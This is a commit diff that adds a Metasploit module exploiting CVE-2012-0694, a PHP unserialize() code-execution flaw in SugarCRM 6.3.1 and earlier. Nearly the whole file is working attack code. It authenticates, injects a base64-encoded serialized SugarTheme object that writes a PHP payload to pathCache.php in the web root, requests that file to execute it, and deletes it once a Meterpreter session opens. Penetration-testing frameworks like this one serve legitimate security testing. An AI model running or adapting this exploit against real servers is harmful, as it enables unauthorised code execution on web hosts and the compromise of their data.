Added module for CVE-2012-0694

2012-06-25 17:21:03 +02:00 · 2012-06-25 17:21:03 +02:00 · 4c453f9b87
parent 4afc6d698d
commit 4c453f9b87
1 changed files with 145 additions and 0 deletions
--- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
@ -0,0 +1,145 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
+			'Description'    => %q{
+					This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
+				which could be abused to allow authenticated SugarCRM users to execute arbitrary
+				code with the permissions of the webserver.
+
+				The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
+				script, which is called with user controlled data from the 'current_query_by_page'
+				parameter. The exploit abuses the __destruct() method from the SugarTheme class
+				to write arbitrary PHP code to a 'pathCache.php' on the web root.
+			},
+			'Author'	=>
+				[
+					'EgiX', # Vulnerability discovery and PoC
+					'juan vazquez', # Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2012-0694' ],
+					[ 'EDB', '19381' ],
+					[ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
+				],
+			'Privileged'     => false,
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+				},
+			'Targets'        => [ ['Automatic', { }], ],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Jun 23 2012'
+			))
+
+			register_options(
+				[
+					OptString.new('TARGETURI',	[ true, "The base path to the web application", "/sugarcrm/"]),
+					OptString.new('USERNAME', [true, "The username to authenticate with", "user"]),
+					OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])
+				], self.class)
+	end
+
+
+	def on_new_session(client)
+		if client.type == "meterpreter"
+			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
+			client.fs.file.rm("pathCache.php")
+		end
+	end
+
+	def exploit
+
+		base = target_uri.path
+		base << '/' if base[-1, 1] != '/'
+
+		peer = "#{rhost}:#{rport}"
+		username = datastore['USERNAME']
+		password = datastore['PASSWORD']
+
+		data = "module=Users&"
+		data << "action=Authenticate&"
+		data << "user_name=#{username}&"
+		data << "user_password=#{password}"
+
+		res = send_request_cgi(
+		{
+			'uri'    => "#{base}index.php" ,
+			'method' => "POST",
+			'headers'   =>
+				{
+					'Cookie'  => "PHPSESSID=1",
+				},
+			'data'   => data
+		})
+
+		if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
+			print_error("#{peer} - Login failed with \"#{username}:#{password}\"")
+			return
+		end
+
+		if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
+			session_id = $1
+		else
+			print_error("#{peer} - Login failed with \"#{username}:#{password}\"")
+			return
+		end
+
+		print_status("#{peer} - Login successful with #{username}:#{password}")
+
+		my_payload = "<?php " +payload.encoded + " ?>"
+		data = "module=Contacts&"
+		data << "Contacts2_CONTACT_offset=1&"
+		data << "current_query_by_page="
+		data << Rex::Text.encode_base64("O:10:\"SugarTheme\":2:{s:10:\"\x00*\x00dirName\";s:5:\"../..\";s:20:\"\x00SugarTheme\x00_jsCache\";s:#{my_payload.length}:\"#{my_payload}\";}")
+
+		print_status("#{peer} - Exploiting the unserialize()")
+
+		res = send_request_cgi(
+		{
+			'uri' => "#{base}index.php",
+			'method' => 'POST',
+			'headers'   =>
+			{
+				'Cookie'  => "PHPSESSID=#{session_id};",
+			},
+			'data' => data
+		})
+
+		if not res or res.code != 200
+			print_error("#{peer} - Exploit failed")
+			return
+		end
+
+		print_status("#{peer} - Executing the payload")
+
+		res = send_request_cgi(
+		{
+			'uri' => "#{base}pathCache.php"
+		})
+
+		if res
+			print_error("#{peer} - Payload execution failed")
+			return
+		end
+
+	end
+end